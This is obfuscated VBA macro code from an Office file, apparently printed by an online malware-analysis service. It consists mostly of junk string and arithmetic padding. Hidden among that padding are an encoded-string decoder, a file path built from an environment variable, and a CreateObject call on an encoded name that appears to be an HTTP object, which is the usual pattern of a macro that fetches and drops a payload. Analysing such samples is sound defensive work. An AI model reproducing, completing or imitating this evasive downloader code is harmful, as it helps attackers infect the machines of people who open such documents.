            weidOBBYQv = Left("s# OfC#bVH g K npsY", 3)
            tlnHj = UCase(" @l  fHZz  u?S DW ")
            WIROww = UCase("b  g aaHBI  E]kqb)S")
            RibGIv = RibGIv + 3
        Wend

        weidOBBYQv = StrReverse("@q  XQQly  Hd&o(hDTk")
        lINfrSeKEU = StrReverse(" xK@V (cE h G_WaAFU")
        tlnHj = Right("OmsDgDPBe  bqjkcwEV", 2)
        MFLnbk = MFLnbk + 1
    Wend

    WIROww = "rc[VvP bCdA @q" + "Fulk GKnO&[" + "y !zfOz CU "
    rsFWiplOeqlQ = 332 + 542 + 1955
    ZSqBxFxs = ZSqBxFxs + "NQ[er"
    WIROww = Right(" )g   WY   so$mgH", 4)
    lINfrSeKEU = 114 + 631 + 594
    rsFWiplOeqlQ = " F i L ?qy.P] vum" + "PlN   $ _BX ]qn" + "  ! Mm (tOx"
    rsFWiplOeqlQ = LTrim("ZZjwI$ L)T")
    rsFWiplOeqlQ = Right(" D o )$P !f()  ", 2)
    For AgMfsX = 0 To 5
        lINfrSeKEU = "xy  y qsF [k " + " ( lm HBu GQ!tXjq@ " + "HP f  f#  "
        weidOBBYQv = "_Qf tv    GQhL " + "L  QUCRaye" + "  ax@)A W.Do d n FI"
    Next AgMfsX

    ZSqBxFxs = ZSqBxFxs + "#U"
    WIROww = StrReverse("q bZ#b[Fi-  ")
    weidOBBYQv = RTrim("l  !& bC gWgs")
    WIROww = 1996 + 1196 + 1172
    rsFWiplOeqlQ = UCase("mrg NLp PDhy ")
    While YULvjq < 1
        rsFWiplOeqlQ = StrReverse("rv_U OAMH JBG rj np$")
        lINfrSeKEU = LTrim(" Ab yy WyLtx@Oec")
        YULvjq = YULvjq + 1
    Wend

    While jVAccr < 5
        For UZxDfV = 0 To 7
            tlnHj = StrReverse("saJ  K-_ u).")
            weidOBBYQv = Left(" #ZNVrIO YLW   S- Z$", 3)
            tlnHj = RTrim("TRF_oXA@ A_xqLtvf ")
            rsFWiplOeqlQ = Space(8)
            weidOBBYQv = "  LWqSmk c" + " V  XRsije d" + "jN _]u Lmm "
            lINfrSeKEU = 148 - 1715 - 1917
            tlnHj = "x!i)e u  V K" + "JmxNh(l_k$v( BYsr" + "Zi  pUk!   b)g"
            tlnHj = 231 + 1508 + 576
            rsFWiplOeqlQ = Space(9)
            tlnHj = Left("O(?xLVWwC Qy", 5)
        Next UZxDfV

        WIROww = UCase("qnDWJ(pUpU   T!G")
        weidOBBYQv = RTrim("CI-)QJEt T@")
        jVAccr = jVAccr + 1
    Wend

    ZSqBxFxs = Replace(SrbBJk(ZSqBxFxs), "FOLDER", Environ(SrbBJk("T Lke?UZmf?Kp^vm")))
    WIROww = Right("lJ!gA?_ Ds", 5)
    WIROww = StrReverse("Ao?v pluGs yYniw")
    lINfrSeKEU = UCase("@@JeqiK!CB_  )!")
    tlnHj = RTrim("lh kWmJ  RhpXeh G.")
    For SbelZc = 0 To 5
        For CJgiVm = 0 To 6
            weidOBBYQv = StrReverse("BMlE-M eK(")
            tlnHj = Right("t#uA QqEV ", 5)
            tlnHj = UCase("l NQM R EI $  eG ^-")
            weidOBBYQv = LTrim("i_q aXvFR i)G$ (G")
            WIROww = LTrim("W.t i v  w[^P ")
            rsFWiplOeqlQ = LTrim("R B!VN MQK")
        Next CJgiVm

        weidOBBYQv = Right(" t ) dCPO Q", 4)
        lINfrSeKEU = RTrim("J&N)eg#  s  #twCrY")
        lINfrSeKEU = RTrim("c @?J   qsYM ")
        weidOBBYQv = UCase("sQ? T&p_.F%Nir# b")
        WIROww = Left(")W a  YlSFW] -B ^#U", 3)
        tlnHj = StrReverse("Z-tx  o #mr")
        tlnHj = LTrim("VC eUndZ Z")
        tlnHj = Right("eai xb Oa MW i !q.sS", 5)
    Next SbelZc

    lINfrSeKEU = Left("  e  .^ nPkh", 4)
    WIROww = StrReverse("k  Nr !KgcM ny")
    rsFWiplOeqlQ = Space(16)
    weidOBBYQv = UCase("qWsn&^_P  $ TFEDi jA")
    WIROww = Space(9)
    weidOBBYQv = 963 - 1137 - 1365
    tlnHj = 1579 + 733 + 138
    While KGPBI < 735
        WIROww = 1885 + 1201 + 1677

        weidOBBYQv = StrReverse("?eDL& @.% Fgy")

        tlnHj = Left("Qk!Sa xl. X", 3)

        weidOBBYQv = StrReverse(" HkN RM gMHwx")

        If KGPBI = 510 Then
            GlICSJWro ZSqBxFxs, "cBNbvelGYH", "RAKPzcO", "GwTFTAThk", "EhEZvc", "YwBmDJ"
            For hQzTPa = 0 To 2
                While tWYsQc < 4
                    lINfrSeKEU = Right("    @O KP oe tve&", 4)
                    WIROww = LTrim("NN !Mb oq RzO@ )")
                    rsFWiplOeqlQ = Right("[w n  j[bKP  [(& ", 5)
                    tlnHj = 633 - 847 - 1905
                    weidOBBYQv = Right("^  M -BsB@^Z   ", 2)
                    lINfrSeKEU = LTrim(" me DF ?Uhke^$ ] D")
                    lINfrSeKEU = LTrim("lhK. xuxa%G ")
                    rsFWiplOeqlQ = Space(19)
                    weidOBBYQv = "D.eC Ciq e dFs" + "igR pezrK VL%-$YP" + "    ) V(wauyW n "
                    tWYsQc = tWYsQc + 2
                Wend

                rsFWiplOeqlQ = RTrim("!T? uQHqf ")
                weidOBBYQv = " odndQ e N_P^pYKA" + "TpT n[YpQpuTo B^" + "MNDN temI  M Kp    "
                WIROww = Space(14)
                weidOBBYQv = "Ru^ GRJh n%.% f" + " j! Q . # VPsR" + "kmX  yKGls"
                weidOBBYQv = UCase("Y ! D r t ^ a")
                WIROww = UCase("mQMa  G] G v]bAp]raF")
                lINfrSeKEU = LTrim("F&la m VQf")
                rsFWiplOeqlQ = RTrim(" EG p^ hZ$.H[m#YLQl@")
            Next hQzTPa

        End If
    KGPBI = KGPBI + 1
    Wend
    rsFWiplOeqlQ = "  i  F -g _ ot" + "()sEVCJqz  M m" + "  Atmkt(e   ! okXv"
    While fjhJpA < 1
        rsFWiplOeqlQ = Left("E YamACF zhGel F", 2)
        lINfrSeKEU = LTrim("k  TuxNKJ ")
        lINfrSeKEU = LTrim("t ijwa[P&LS C")
        tlnHj = UCase("MT YJ    bJ Y&]f( BY")
        weidOBBYQv = LTrim("dTDgqmopnr ")
        WIROww = 491 + 1791 + 1490
        fjhJpA = fjhJpA + 3
    Wend

    WIROww = RTrim("-PL_chk-#F(!w AzC")
    weidOBBYQv = LTrim(" Q KMGDMsVx bOcu$(  ")
    weidOBBYQv = LTrim("_nT t.R     TUE ")
    WIROww = Left("Ku k#BYx c   ", 4)
    WIROww = Left("B @  %v  c&RhjVQZ(", 3)
    lINfrSeKEU = LTrim("dCXb   -! d ohI?(Tk")
    weidOBBYQv = Right("__$l MGVa^$q^", 5)
    rsFWiplOeqlQ = Right("tpaN-E .gq tgO GSb", 4)


End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub KfXVRw(kcNfvT As Double, LqNfMBy As Integer, lHpQPt As Double)
    tlnHj = Left("& fICq @y Ty", 2)
    weidOBBYQv = Space(11)
    lINfrSeKEU = 1607 + 1975 + 1397
    weidOBBYQv = UCase("U  wp O (t^^H L")
    rsFWiplOeqlQ = 1838 + 394 + 956
    rsFWiplOeqlQ = StrReverse("^ BVIu fLLi   T[@_")
End Sub


Function LuNOik(VPEGUFO As String, bAuAGiM As Double, ItXDoC As String) As String
    lINfrSeKEU = Right("vTtJ lX #cwTSXEVWpgu", 5)
    WIROww = Right("E H  eC ?L$ nZI Qb ", 3)
    weidOBBYQv = Left(" Pl)gYIKzYL Z^@", 3)
    lINfrSeKEU = Left("Sxljvr  YPQz ", 2)
    WIROww = RTrim("xYg[[?tbW ")
    LuNOik = "nPhyF"
End Function



Attribute VB_Name = "Module2"

Sub BdDCej(ecOlOI As Boolean)
    weidOBBYQv = 1570 - 111 - 395
    For RsEDmF = 0 To 7
        WIROww = 932 + 366 + 1404
        weidOBBYQv = 529 + 376 + 252
        lINfrSeKEU = 1137 + 160 + 474
        weidOBBYQv = Space(17)
        weidOBBYQv = Right("[S-dP- KXVaP)tDa Qa", 4)
    Next RsEDmF

    For oUSkEX = 0 To 10
        weidOBBYQv = "#$m    R Sc #@    X&" + "I Pou  p_bF " + "[! (N  .dltYgZ&uPeHY"
        rsFWiplOeqlQ = LTrim("H BQY dc  WL S")
        rsFWiplOeqlQ = 515 + 1494 + 1758
    Next oUSkEX

    WIROww = RTrim(" !]g J- A!f!")
    lINfrSeKEU = "  c-qfufwh[  " + "hPL.qm  r P  #U" + "wp  MP FjL c^ "
    weidOBBYQv = LTrim("NoXb L^kv_.cpOS")
    tlnHj = RTrim(" HHXnMJOR- S  kaHd ")
    WIROww = 614 - 1603 - 706
End Sub



Sub jVxEkH(ULSwZuN As Double)
    lINfrSeKEU = Right("bRF _p!MKBpSH", 5)
    lINfrSeKEU = 1393 + 463 + 1409
    tlnHj = Right("(GtM[ RKAlZz#- n $Vu", 3)
    weidOBBYQv = RTrim("CHWkKV XMnR O pfV-")
    tlnHj = 827 + 1930 + 833
    WIROww = Right("TST(JhmH]Y y", 5)
    rsFWiplOeqlQ = UCase("G.V^   m? ]  dOp")
    lINfrSeKEU = "lytfBo .I " + "AI!y -vFb-yG" + " TFXx@ktVW"
    weidOBBYQv = 1448 - 1376 - 464
    rsFWiplOeqlQ = Left("m!$# jz k^ ap M", 5)
End Sub



Attribute VB_Name = "Module3"

Function RJtNLJ(dltZVUR As Integer, kDRqKXs As String, NocUPG As Boolean, FkUhBc As String, FucjHTt As Boolean) As String
    rsFWiplOeqlQ = "GerOkZT]@%A " + "B_Uq  CK$Lw  " + " HNulBr rZ "
    tlnHj = LTrim("fgm HHR # f N   p")
    tlnHj = Right(" (P H mU   @ )", 4)
    tlnHj = 357 + 200 + 1279
    tlnHj = Space(6)
    RJtNLJ = "KbLRm"
End Function



Sub ckhRFTXx(HTZfgsD As String, umBQfxM As String, jtqDHU As String, LHoVGr As String, rvvzSJM As String, xFItCNE As String)
    tlnHj = " h@ Vim nA v" + " nsiDHsBGse$y^ P$sD " + "% O![ F?d% P"
    rsFWiplOeqlQ = Right("R Fp(aD Jy  ", 5)
    weidOBBYQv = RTrim("lZkfUi  (tA.uLuy Zi ")
    tlnHj = LTrim(")a!p s HU VHz_p ?W^")
    tlnHj = Left("y-m gV_Kp@ _XCzPM]", 4)
    While ghUCyT < 2
        While HhXXid < 1
            WIROww = UCase("w   &m hM?(lE T? kB")
            tlnHj = LTrim(" WAP@pPN[_? F-")
            weidOBBYQv = "o(CY u( G u  " + "w   Ds L_ Hi& AJ[]l$" + "cW_wz!iDJgb j"
            lINfrSeKEU = StrReverse("b J  tzO v")
            weidOBBYQv = LTrim("XL.I l [mm_Y h . ")
            lINfrSeKEU = RTrim("pz nsd   i%")
            lINfrSeKEU = 1949 + 634 + 1876
            tlnHj = UCase(" (_df).rBexP^IO D")
            HhXXid = HhXXid + 1
        Wend

        weidOBBYQv = LTrim("C  GV? )-  Sxh& ")
        WIROww = LTrim("LKBC  CD & PTI WHi-S")
        rsFWiplOeqlQ = 1116 - 437 - 1164
        WIROww = 174 - 1981 - 882
        weidOBBYQv = StrReverse("j GHnG   Wn-H%Oc z")
        weidOBBYQv = Space(7)
        WIROww = UCase(" BoFfowZs & EY_  w$W")
        WIROww = StrReverse("  z ew  dd_ ")
        lINfrSeKEU = Left(" EGm $&LEDPK-n", 4)
        ghUCyT = ghUCyT + 3
    Wend

    lINfrSeKEU = RTrim(" k    d Pwt")
    lINfrSeKEU = 1442 + 272 + 194
    WIROww = Left("(JJ^WkXu NpONB N", 3)
    While qLsVON < 5
        While gcFVcm < 5
            rsFWiplOeqlQ = 1728 + 949 + 1525
            lINfrSeKEU = Left("Y(z_  %S   bg", 5)
            lINfrSeKEU = RTrim("Bc)p Hw h&y")
            lINfrSeKEU = Right("-[izn) laAu   [ZB", 2)
            WIROww = 1745 - 1382 - 792
            gcFVcm = gcFVcm + 3
        Wend

        lINfrSeKEU = "RLeA$HMC I" + "X @(PP K oqzxW Xx a" + "  # SE(eivk M ywvW"
        weidOBBYQv = 711 + 1114 + 1145
        rsFWiplOeqlQ = Right("tu HVKL]  ", 2)
        weidOBBYQv = Left(" bhWpNY D)ANy", 4)
        WIROww = StrReverse("r $oB^hRJ^ _h l   ] ")
        WIROww = Space(20)
        qLsVON = qLsVON + 1
    Wend

    weidOBBYQv = Space(6)
    weidOBBYQv = 1828 - 723 - 1526
    weidOBBYQv = 799 - 1440 - 1863
    rsFWiplOeqlQ = Space(17)
    tlnHj = Right(" BE[ GsT mEFB", 5)
    lINfrSeKEU = Space(12)
    rsFWiplOeqlQ = "KTEo@$ q F# z( -R" + " %L&(w]  mjHMp  y? " + "   pP FgJ Fsc"
    WIROww = RTrim(" [oOHtF g)z")
    Dim UNjcCqj As Object
    weidOBBYQv = StrReverse(" fm$apN  qdXy#(LY")
    weidOBBYQv = "&RE P^TU@ " + "  Rz _@Y T GNz dM G" + " P m  K VhAJ "
    WIROww = StrReverse("(bYv) eO l  (")
    rsFWiplOeqlQ = 853 + 1839 + 929
    WIROww = Left(" k v I   i C", 2)
    While bLyTte < 3
        rsFWiplOeqlQ = StrReverse("bh dtQ  #  jAsV")
        WIROww = "uCaHX&qaan " + " H  ? A pJ CT vVVQ." + " %Yuk rK #"
        weidOBBYQv = "qC-Be [ GW." + " K%I WOlulk#  " + "Ob[Q_(IT #f&zP "
        rsFWiplOeqlQ = 219 + 1270 + 643
        rsFWiplOeqlQ = StrReverse(" t yt wirMH $")
        tlnHj = 1057 - 1834 - 1324
        bLyTte = bLyTte + 2
    Wend

    rsFWiplOeqlQ = Right("WxXD&I GlO y", 5)
    lINfrSeKEU = 1407 - 1267 - 687
    While wQOCRl < 2
        rsFWiplOeqlQ = LTrim("ksCY  W  v M U MPNwu")
        WIROww = Right("WDt y c%  MFS]  ", 4)
        WIROww = Right("sKnIO PA w ", 4)
        tlnHj = 1099 + 1497 + 1905
        lINfrSeKEU = "k&?RQ B  s F@Q?" + "p jgnJ_Pl!qGc d" + "  aJ) ruCF-?A %"
        lINfrSeKEU = Right("X( h^d zpExlqv fIJP", 5)
        WIROww = Right("e J &VbV z) k-.", 2)
        wQOCRl = wQOCRl + 3
    Wend

    tlnHj = RTrim("wO X]nbkqP kfe$ q ")
    lINfrSeKEU = StrReverse(".K#Tj[ %p  (N-M S&")
    tlnHj = UCase("  E hf  r b")
    rsFWiplOeqlQ = "w a Q.wL]ZW( F^_P ea" + "CI nh %P fHGm  T #" + "OpqTPWg)SPF wQ s "
    While HoKcYA < 1
        While ETyAbJ < 4
            rsFWiplOeqlQ = Left("T[$H)T?u fP- yU?%", 3)
            lINfrSeKEU = 395 + 1623 + 193
            tlnHj = 1532 - 232 - 1704
            weidOBBYQv = Right("[d$eq k] L A K", 2)
            WIROww = Space(17)
            WIROww = LTrim("-v_XL r PA")
            weidOBBYQv = Left("C[p @QX   p", 2)
            WIROww = Left("f o Q P? O D euq  t", 3)
            ETyAbJ = ETyAbJ + 1
        Wend

        WIROww = StrReverse("p !d g[ Ta@ .bh")
        weidOBBYQv = 1402 - 455 - 996
        tlnHj = 1535 + 1926 + 1906
        lINfrSeKEU = RTrim(" PL u zC odORFD")
        HoKcYA = HoKcYA + 3
    Wend

    WIROww = 1478 - 1526 - 1393
    weidOBBYQv = 792 - 1868 - 1325
    tlnHj = "?ey[%$Qj P]" + "p)_GQ BQ?).vxgtd]" + "tM ZZYKe$y"
    For RvrrXn = 0 To 8
        tlnHj = 1630 + 1085 + 1037
        lINfrSeKEU = Space(11)
        rsFWiplOeqlQ = StrReverse("qZj@ ACv-!d %w#r")
        WIROww = RTrim(" % fw!GzZ[awb]y")
    Next RvrrXn

    While MuTqcR < 3
        For nrIsdo = 0 To 5
            tlnHj = StrReverse("T@l R^M oPg z   ")
            weidOBBYQv = LTrim(" n] vOvh poYr!wtx  ")
            lINfrSeKEU = StrReverse(" sdfa I!V%NYxh lBd ")
            lINfrSeKEU = UCase(" wdc P  Fi AcUZKA mi")
            lINfrSeKEU = " LG K&hh_ cx" + "scAIoua  G^" + "Y!j@ #)L g "
            tlnHj = "  BR by( -YGs" + "_!R- LARcKH[  Jo" + "  nnpd.DB o"
            weidOBBYQv = Space(6)
            rsFWiplOeqlQ = RTrim("vO EVy(QPZ)aH e ")
            tlnHj = Left("I oh o SHF k", 3)
        Next nrIsdo

        lINfrSeKEU = "jn ?iy sEvv^  !Dc" + "   WNVC Vfg Yo" + "%  ]R xn mut FsT  o"
        tlnHj = Space(2)
        MuTqcR = MuTqcR + 1
    Wend

    weidOBBYQv = UCase("dGE!ELrnJaN XEpb")
    rsFWiplOeqlQ = 1756 - 1125 - 1401
    lINfrSeKEU = Space(4)
    tlnHj = RTrim("K  pfg#L& IrZw")
    While HGaGRg < 4
        weidOBBYQv = Space(16)
        lINfrSeKEU = ". dso& kp_dwyqXf" + "zikaeaVDC^RE " + "K!HXe(y J #eDJs "
        rsFWiplOeqlQ = Space(15)
        rsFWiplOeqlQ = 1578 - 372 - 1672
        lINfrSeKEU = 1316 - 1157 - 1790
        lINfrSeKEU = " U^TS  Le WfiMX " + "rFEX pMM$Y " + "]Da kug-B)vvoxHT  "
        tlnHj = "@-]H[ Lh MO" + "DCJuQCZM GTqi" + "AaLKh f   -Arg#Fc"
        weidOBBYQv = 1487 + 918 + 505
        HGaGRg = HGaGRg + 1
    Wend

    rsFWiplOeqlQ = "M  VZTfc&(. " + "&wo_Ddyn nL RpmGh" + "o&l xf ds]j  @t["
    lINfrSeKEU = StrReverse("EAr V fh w(vjL q .p]")
    For ZCNyXd = 0 To 9
        lINfrSeKEU = 706 + 840 + 1389
        weidOBBYQv = 1936 + 782 + 1965
    Next ZCNyXd

    rsFWiplOeqlQ = Right(" )Wp[l]Tu U", 2)
    While ydcCYq < 5
        rsFWiplOeqlQ = StrReverse("D v rc&l  ")
        tlnHj = StrReverse("V K[ ZzMSKB ")
        tlnHj = "@GrTnrX BP " + " u ]aA  &MtKVPEgSn " + "G$af&$f. Y   x"
        ydcCYq = ydcCYq + 2
    Wend

    WIROww = StrReverse("(Y]y ImEb ")
    While IizQLB < 5
        While DADhlW < 1
            weidOBBYQv = RTrim("ei_gr APqVUK iHc % Q")
            tlnHj = StrReverse(".][q. eNZVR R$- ")
            DADhlW = DADhlW + 1
        Wend

        tlnHj = RTrim("  yM^ Ba&G ")
        lINfrSeKEU = StrReverse("Ui XNcz  vgBr$h ")
        rsFWiplOeqlQ = UCase("-Pwd_      ^e")
        WIROww = Right("   Y Z i@]", 4)
        weidOBBYQv = 1790 + 354 + 1509
        weidOBBYQv = UCase(" %PvGY $ YQsf  ")
        IizQLB = IizQLB + 3
    Wend

    tlnHj = 438 + 155 + 717
    weidOBBYQv = 383 + 490 + 823
    WIROww = StrReverse(" z tvwgz  ] sw UC")
    tlnHj = UCase("]]?og! vWxSjCzCD p")
    Set UNjcCqj = CreateObject(SrbBJk("MvRsiDoOcGgcrPr oitDsk toXM fb&gtb $.xP)XTx#M[OHL RJHggBTUx@T DlP[c("))
    For JyzXWH = 0 To 7
        weidOBBYQv = 871 - 587 - 1583
        weidOBBYQv = 1554 - 1793 - 1938
        WIROww = Left("l) Gw%wI q#X js t", 4)
    Next JyzXWH
…

Open this report in the interactive analyzer, or submit your own file for analysis.